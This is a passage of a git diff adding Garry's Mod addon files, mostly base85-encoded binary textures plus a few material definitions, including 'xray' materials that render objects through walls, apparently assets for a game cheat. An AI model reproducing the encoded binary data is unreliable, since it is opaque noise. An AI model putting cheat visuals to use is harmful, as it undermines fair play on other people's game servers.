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 literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/vgui/notices/oldgeneric.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/vgui/notices/oldgeneric.vmt new file mode 100644 index 0000000..3aa4359 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/vgui/notices/oldgeneric.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$basetexture" "vgui/notices/oldgeneric" + "$ignorez" 1 + "$vertexcolor" 1 + "$vertexalpha" 1 + "$nolod" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/vgui/notices/oldgeneric.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/vgui/notices/oldgeneric.vtf new file mode 100644 index 0000000000000000000000000000000000000000..94e8f9f756ecd539eaec0fde206502172010a785 GIT binary patch literal 21924 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 d-@NkPxd!A};JLH%=#)UG1kMNv{2!u8F~$G@ literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/xray/living.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/xray/living.vmt new file mode 100644 index 0000000..2e9fc86 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/xray/living.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "color/white" + "$model" 1 + "$translucent" 1 + "$alpha" 1 + "$nocull" 1 + "$ignorez" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/xray/prop.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/xray/prop.vmt new file mode 100644 index 0000000..1a61449 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/xray/prop.vmt @@ -0,0 +1,6 @@ +"VertexLitGeneric" +{ + "$basetexture" "color/white" + "$model" 1 + "$ignorez" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/particles/burning_fx.pcf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/particles/burning_fx.pcf new file mode 100644 index 0000000000000000000000000000000000000000..e4940e0c98b4d5d24ceeb01247c8667826a6581d GIT binary patch literal 20363 zcmeHP2Yggjx<3g7Lk$Abl?yDPmxK->Gn3v(0-;J7CNnq5z%-_$D9R`uX$ArWBZL+Z zFn|H16TrpLQ9$`AEG)%^xA=^(0?RJseW%=+J1t(z^7fVR`+jFm`_4Jv`O5#Cb2Y4O z_wJlVpUd$EwNaxrWOC_RgUX!8g>o52vtDK8OzI3SgzMftybjurqV#;Uj@R=BD>A9f zR;^mcr{!6!ygrK0&>FN>tTP^9BuX#tYVFa9S&;wQ$xfo>Rlz%_^ja#b9Q%6|dnk z%ur!*lv}iV4pu*fGpnq;V`%TCWY!=f6UsCjZ6;2uK^A_h4Ft|B4K{r`Z{|YWOOV-U zRbgo=Ehe7VII^%FozaZUDvj1=L28>$r!?~>ok~siM5%G?06c3$$3WR*;lRhsX}AbV}!rKzmWnWahI$HIhM85h@F>NirIz*i3j2 zELO7$Ho$^Fsnj4xb(U7A0pTKEueAbqi@;m^2F@5wunATp{9+pbzeEa^!m5$Y!ejM- zF`Zh1^_By+77K`vv#3=%SRBGB?<@vIfW8{eMLnG3a-cn+c^N7VZ?st*(-9SeScFNE zW}MNY*6MUv8yw}JVV*36LSP_FQb|TrVm)z|5yf(}(AXdk>p>YdgBt(9GDa$$DNCg^ zs|*^WUdiX0j0S9&v=lU0_yv3FP&i!d%s|ZuY*WcbEl4ubXf%T+z#6zTEG}9nDox4A zu<%xtW`en>biR5C)t((emL{8(W5$JqEHzvdZ^-6B=!$d;H%g_m@hFnnZYr_eWMV2v zVKV9RxKX^$sMcEZIIV$8GQwmz7*)-4oqF{Q>5PDdQD=i?P(CrlcDYnAv@{-eTmy~- zG{$Dq;HBz~*~ECj{LQ>2%cx`3YMn}N;;=!G)+`I+qgk?bs1f8cl3r-X-OJ(Ma;8bxufSsZG$r{p5f(Ec0 zQvjNy(_?;t(`hq!A|q;%zM31K$430WwM z$0$apHDNPSgPT#ou7h!456YZ7xL}I~e0!!@l?|qeAS`Dh=np}X1v5k)9doNxSlH1j z9VM_5*ESBX20QC)hMlK458cFhM<-$7)J0QO6**gCf=awp*bf|0nJ1>E$%-&zT7Z9H z+@+M+M*AU8+5MyPBkETCSEWsz@~(bA?%p=RwQkiI;FuV~)9U9KBV5 zv#309z~eyaVp7u}LVJb5X_YQ z(rC?qKe0z3YCx(nOiafHV$o`Fd;pw^vb0vfN5s2RLX6v0lb z@+de()y6)-v7n@sG%iM^)!EDxG^xyJC_9LZFk?iL#2YfLS)?5}0v(t+jXr>jd4mOa z1ANNkcxeIO5768NSP0`d)WTW7v_cS{NBnYBVEuAtU{3^h?9s(hK{b;&Xpb^61DFF2 z@q+iHLCuLonFqxa5Pm{$6T*KsgH>zQ!O^Dd+vjgxsW_E1yR0PerQ13AHBh?EY`_N+ 